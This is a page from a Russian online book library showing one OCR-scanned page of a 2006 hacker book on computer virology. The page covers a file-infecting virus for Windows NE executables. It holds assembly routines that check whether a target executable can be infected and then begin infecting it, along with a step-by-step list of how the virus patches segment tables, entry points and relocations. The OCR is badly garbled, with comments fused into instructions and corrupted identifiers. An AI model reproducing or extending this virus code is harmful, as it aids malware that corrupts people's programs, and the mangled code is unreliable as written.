Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 102 103 104 105 106 107 < 108 > 109 110 111 112 113 114 .. 123 >> Следующая

or ax,ax
jnz SHORT FOK1
jmp FOK.BWOR2 mb. выход
FOK1:
mov bx,ax ;открылся ОК. помещаем нццгагс в bx mov dx,OFFSET NEW_HOR
.dsxbc указывает на буфер заголовка mov сх,40Н ; читаем 40Н байтов
call F1LE_READ ;ОК, читаем ЕХЕ-заголовок cmp WORD PTR [NBA/_HDR],5A4DH
проверяем, два первых -.байта'МГ?
jnz SHORT FN1 ;нет, файл не EXE - выход
cmp WORD PTR [NBA/_HDR+18H],40H ;проверяем, таблица ; перемещений
находится в 40Н или выше? jc SHORT FN1 ;нет, это не Windows-EXE
mov dx.WORD PTR [NBA/ HDR+3CH] ;OK, помещаем офсет к ;новому заголовку в
dx mov INH_OFFSET],dx ;и сохраняем его здесь
хог сх.сх
call FILE_SEEK_ST ; проводим поиск от старта
t
mov cx,NEWHDR_SIZE ;читаем новый заголовок mov dx, OFFSET NEWHDR call
FILE_READ
cmp WORD PTR [NEW_HDR],454EH проверяем, это ID нового ; заголовка *NE?
ГЛАВА 9. Вирусы под Windows
jnz SHORT FN1 ;нет, не Windows-EXE!
mov al,[NEW_HDR+36H] ; получаем флаги целевой
.'операционной системы and al,2 проверяем, целевая ОС = Windows? jnz
SHORT FOK2 ;ОК, продолжаем
FN1:
jmp FOK_ERROR1 ;иначе выход
;если мы попадаем сюда, то условие (1) выполнено
FOK2:
mov dx.WORD PTR [NEWJHDR+16H] {получаем первоначальный cs call GET SEG
ENTRY {читаем запись сегментной {таблицы в буфере диска mov ax.WORD PTR
[ТЕМР+2] {помещаем длину сегмента в ах add ax,VIRUS_SIZE {добавляем к ней
размер вируса jc SHORT FOK ERROR1 ;если перенос, то места недостаточно
{иначе мы уверены на этот счет
;если мы попадаем сюда, то условие (2) выполнено mov cx.WORD PTR
[NEW_HDR+32H] {выравнивание логического {сектора
mov ах,1
shl ах,cl ;ахзразмер логического сектора
mov cx.WORD PTR [TEMP] {получаем офсет начала
{логического сектора
mul сх ;офсет в dx:ax
# ________
add ах,WORD PTR [NB/VHDR+14H] добавляем в ip точки входа adc dx,0 mov
cx.dx
mov dx,ax {помещаем точку входа в cx:dx call FILE_SEEK_ST ;ищем от начала
файла mov СХ.20Н {читаем 32 байта
аде
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
mov dx,OFFSET TEMP ;в буфере
call FILEREAD mov si, [VSTART] mov di,OFFSET TEMP mov cx, 10H ;
сравниваем 32 байта
FOK3:
mov ax,cs:[si] add si,2 cmp ax,ds:[di] jne SHORT FOK4 add di,2 loop FOK3
FOK_ERROR1:
call FILECLOSE FOK_ERROR2: mov al,1
or al.al ; сбрасываем Z
ret ;и возвращаемся к оператору вызова
;если мы попадаем сюда, то условие (3) выполнено. Все сис темы готовы к
действию!
FOK4:
xor al,al ;устанавливаем z-флаг
ret ;и выходим
Эта подпрограмма модифицирует найденный файл и вкладывает в него вирус.
Процесс инфицирования выполняется за несколько следующих шагов.
1) Мы должны модифицировать сегментную таблицу. Для первоначальных
сегментов это вовлекает (а) увеличение размера сегмента на размер вируса
и (б) увеличение минимального назначаемого размера сегмента, если это
необходимо. Каждый сегмент, расположенный ПОСЛЕ этого первоначального
сегмента, также должен быть подстроен добавлением к нему размера вируса
(в секторах).
2) Мы должны изменить стартовый ip в новом заголовке. Вирус размещается
после кода жертвы в этом сегменте, поэтому новый ip будет размером
старого сегмента.
ГЛАВА 9. Вирусы под Windows
3) С помощью VIRSECS мы должны переместить все секторы в файле после
первоначального сегмента кода (размер вируса указан в секторах).
4) Мы должны перенести перемещаемые величины (если они имеются) в конец
атакованного сегмента кода, чтобы создать место для кода вируса.
Затем мы должны добавить вирусные перемещаемые величины в таблицу
перемещений.
5) Мы должны перенести код вируса в инфицируемый сегмент кода.
6) Мы должны подстроить прыжок в вирусе, чтобы перейти к оригинальной
точке входа.
7) Мы должны подстроить офсеты ресурсов в таблице ресурсов, чтобы
отразить их новые локации.
8) Мы должны уничтожить область быстрой загрузки.
INFECT_FILE:
mov dx,WORD PTR [NEW HDR+24H];получаем @ таблицы ресурсов add
dx,ds:[NH_OFFSET] xor cx.cx call FILE_SEEK_ST mov dx,OFFSET LOG_SEC mov
cx,2 call FILEREAD mov cx,[LOG_SEC] mov ax,1 shl ax,cl
mov [LOG_SEC],ax ;помещаем здесь логический сектор mov ах,WORD PTR
[NEW_HDR+14H] сохраняем старую точку входа mov [ENTRYPT],ax ;для
последующего использования mov dx.WORD PTR [NEW_HDR+16H] ;читаем запись
сегментной call GET_SEG_ENTRY ;таблицы для первоначального cs mov ax.WORD
PTR [TEMP] ;получаем локацию этого
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
; сегмента в файле mov [INITSECj.ax сохраняем его здесь
mov ах,WORD PTR [ТЕМР+2] ;получаем размер сегмента mov WORD PTR
[NB/V_HDR+14H] ,ax; обновляем ip записи в новом .заголовке в RAM call
SET_RELOCS ;устаиавливаем RELOCS и CS_SIZE mov si,[VSTART]
mov ax,cs:[sH-ARELOCS] рассчитываем добавленный размер сегмента shl ах,3
; умножаем ARELOCS на 8 add ax,VIRUS_SIZE
add ax,[CS_SIZE] ;ах=полный новый размер
xor dx.dx
mov cx,[LOG_SEC]
div cx ;ах=полным секторам в cs с вирусом
or dx.dx ;имеется остаток?
jz SHORT INF05
inc ax ;подстраиваем частично заполненный сектор INF05:
push ах
mov ax,[CS_SIZE] ;размер без вируса xor dx.dx div сх or dx,dx jz SHORT
Предыдущая << 1 .. 102 103 104 105 106 107 < 108 > 109 110 111 112 113 114 .. 123 >> Следующая